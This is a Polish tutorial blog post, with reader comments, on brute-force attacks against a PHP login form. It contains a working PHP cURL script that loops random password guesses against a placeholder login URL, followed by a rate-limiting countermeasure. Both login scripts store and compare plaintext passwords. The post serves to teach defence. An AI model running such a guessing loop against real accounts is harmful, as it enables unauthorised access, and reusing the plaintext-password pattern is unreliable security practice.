post_ico4

(Nie)bezpieczny kod – Brute force

O brute force słyszał pewnie każdy programista. Jest to prymitywna i prosta metoda ataku, ale w czasach coraz szybszych maszyn i internetu może okazać się skuteczna, o ile nie zabezpieczy się odpowiednio aplikacji. Jak to zrobić przeczytasz w tym artykule :)

Trochę teorii

Brute force polega na próbie odgadnięcia hasła poprzez generowanie wszystkich możliwych kombinacji ciągu znaków. W ten sposób można złamać każde hasło. Jest tylko małe ale, jest nim … czas. Przy krótkich hasłach (np. 5 znaków) sprawdzenie wszystkich kombinacji może zająć kilka dni, ale przy większej ilości znaków musielibyśmy poczekać dłużej niż istnieje wszechświat.

Mimo tak długiego czasu oczekiwania przy najdłuższych hasłach, warto się zabezpieczyć. Spora część ludzi posiada krótkie hasła. Ponadto po co się narażać na przeciążenie serwera.

Przykładowy atak Brute force

Żeby zobrazować w jaki sposób wykonać atak brute force stworzyłem prosty system logowania.

Dane dostępu trzymane są w bazie danych, w tabeli admin.

Zrzut tabeli bazy danych

Skrypt logowania wygląda następująco:

<?php
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
if (isset($_POST)) {
    $login = $_POST['login'];
    $password = $_POST['password'];
    $user = $dbh->prepare("SELECT * from admin WHERE login=:login AND password=:password");
    $user->bindValue('login', $login, PDO::PARAM_STR);
    $user->bindValue('password', $password, PDO::PARAM_STR);
    $user->execute();
    if ($user->fetchColumn()) {
        echo 'Zalogowany';
        exit;
    }
}
?>
<html>
<head>
    <title>Brute force</title>
</head>
<body>
<form action="" method="post">
    Login: <input type="name" name="login"/><br/>
    Password: <input type="name" name="password"/><br/>
    <input type="submit" value="Login"/>
</form>
</body>

Jest to formularz z dwoma polami do wpisania: loginu i hasła. W przypadku udanego logowania wyświetli się komunikat Zalogowany.

Brute force można wykonać samemu, ręcznie wpisując dane, ale maszyna szybciej wpisze dane niż my. Do tego celu stworzyłem prosty skrypt korzystający z biblioteki Curl.

<?php
do {
$postData = array(
    'login' => 'admin1',
    'password' => generatePassword(6),
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,'http://jakas-strona.pl/logowanie');
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$postData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
echo "Wygenerowwane haslo ".$postData['password']."<br>";
$output = curl_exec($ch);
} while ($output!='Zalogowany');
echo $output;
function generatePassword($length = 8) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $count = mb_strlen($chars);

    for ($i = 0, $result = ''; $i < $length; $i++) {
        $index = rand(0, $count - 1);
        $result .= mb_substr($chars, $index, 1);
    }

    return $result;
}

Powyższy skrypt wysyła zapytanie z danymi zapisanymi w POST. Dopóki strona nie zwróci komunikatu Zalogowany skrypt będzie losować hasło i wykonywać kolejne zapytania.

Brute foce z wykorzystaniem biblioteki Curl

Teraz pozostaje tylko czekać, aż skrypt zgadnie hasło. Oczywiście funkcja losująca hasło nie jest optymalna, ale nie o to chodzi w tym artykule :).

Jak się zabezpieczyć przed Brute force?

Prostym i skutecznym zabezpieczeniem jest ograniczenie prób logowania w określonym czasie (np. 3 próby w ciągu 5 minut). Tego typu rozwiązanie znacznie wydłuży działanie skryptu brute force.

Skrypt logowania zabezpieczony przed brute force wygląda tak:

<?php
$badLoginCountMax = 3;
$badLoginTime = 300;
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
if (isset($_POST)) {
    $login = $_POST['login'];
    $password = $_POST['password'];
    // Skrypt sprawdza czy przekroczono ilosc prob logowania
    if (getLoginCount($login) >= $badLoginCountMax && getFailedLogin($login) + $badLoginTime >= time()) {
        echo 'Przekroczyles maksymalna ilosc logowan.';
        exit;
    } else {
        // jezeli uplynal czas blokady zeruje licznik
        if(getLoginCount($login)>=$badLoginCountMax) {
            $query = $dbh->prepare("UPDATE admin SET failed_login_count=:failed_login_count WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('failed_login_count', 0, PDO::PARAM_INT);
            $query->execute();
        }
        $user = $dbh->prepare("SELECT * from admin WHERE login=:login AND password=:password");
        $user->bindValue('login', $login, PDO::PARAM_STR);
        $user->bindValue('password', $password, PDO::PARAM_STR);
        $user->execute();
        // zwieksza ilosc prob logowania o 1
        $query = $dbh->prepare("UPDATE admin SET failed_login_count=:failed_login_count WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->bindValue('failed_login_count', getLoginCount($login)+1, PDO::PARAM_INT);
        $query->execute();
        // jeezli jest to pierwsza proba logowania zapisuje czas pierwsezj proby
        if(getLoginCount($login)==1) {
            $query = $dbh->prepare("UPDATE admin SET first_failed_login=:first_failed_login WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('first_failed_login', time(), PDO::PARAM_STR);
            $query->execute();
        }
        if ($user->fetchColumn()) {
            echo 'Zalogowany';
            // jezeli udalo sie zalogowac zeruje licznik i czas pierwszej proby
            $query = $dbh->prepare("UPDATE admin SET first_failed_login=:first_failed_login, failed_login_count=:failed_login_count WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('failed_login_count', 0, PDO::PARAM_INT);
            $query->bindValue('first_failed_login', 0, PDO::PARAM_STR);
            $query->execute();
            exit;
        } else {

        }
    }
}
    function getLoginCount($login)
    {
        global $dbh;
        $query = $dbh->prepare("SELECT * from admin WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->execute();
        $users = $query->fetchAll();
        if (isset($users[0])) {
            return (int)$users[0]['failed_login_count'];
        }
        return false;
    }

    function getFailedLogin($login)
    {
        global $dbh;
        $query = $dbh->prepare("SELECT * from admin WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->execute();
        $users = $query->fetchAll();
        if (isset($users[0])) {
            return (int)$users[0]['first_failed_login'];
        }
        return false;
    }

    ?>
<html>
<head>
    <title>Brute force</title>
</head>
<body>
<form action="" method="post">
    Login: <input type="name" name="login" /><br/>
    Password: <input type="name" name="password" /><br/>
    <input type="submit" value="Login"/>
</form>
</body>

Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.

Co sądzisz o wpisie?
BeżnadziejnySłabyŚredniDobryBardzo dobry (4 głosów, średnia ocen: 3,50 z 5)
Loading...
  • Dariusz Dzięgiel

    Można jeszcze w inny sposób. Np. po 5 nieudanych próbach logowania, blokować dany adres IP na określony czas.

    • Oszem, ale można to łatwo obejść stosując np proxy. Rozwiązanie przedstawione w artykule zapewnia ochronę odporną na zmianę IP, urządzenia itp.

      • abc

        Za to teraz można DOSować każde konto.

        • Żeby zabezpieczyć się przed DDoS można połączyć obie metody, czyli blokować IP i blokować możliwość logowania.

  • didi

    ale brzydki kod – chociaż tam gdzie są komentarze (sic!) mogłeś przenieść ten kod do innej metody

  • D

    brak obiektowości całkowicie dyskwalifikuje jakiekolwiek użycie. :(

    • To jest tylko poglądowy kod, który miał za zadanie zobrazować o co w tym chodzi. Myślę, że i tak każdy dostosuje sposób zabezpieczenia do swoich potrzeb.

  • dusta

    Genialne w swojej prostocie , czekam na więcej podobnych rozwiązań :)

  • ElGovanni

    No nie wiem czy to aby dobra metoda, trochę magii i można zablokować dostęp do logowania dla normalnych użytkowników.

    • Co masz konkretnie na myśli? Dostęp zablokuje się maksymalnie na kilka minut.

      • ElGovanni

        Myślę, że lepiej byłoby blokować dostęp dla określonego adresu IP zamiast użytkownika.

        • Jakub Adamczyk

          Dynamiczne przydzielanie IP, atak przez TOR…
          Lepiej blokować konto całkowicie po danej liczbie nieudanych prób. Albo… captcha. Ale porządne.

          • Można ewentualnie wyświetlać captcha po n nieudanych próbach logowania. Jest to jakiś kompromis.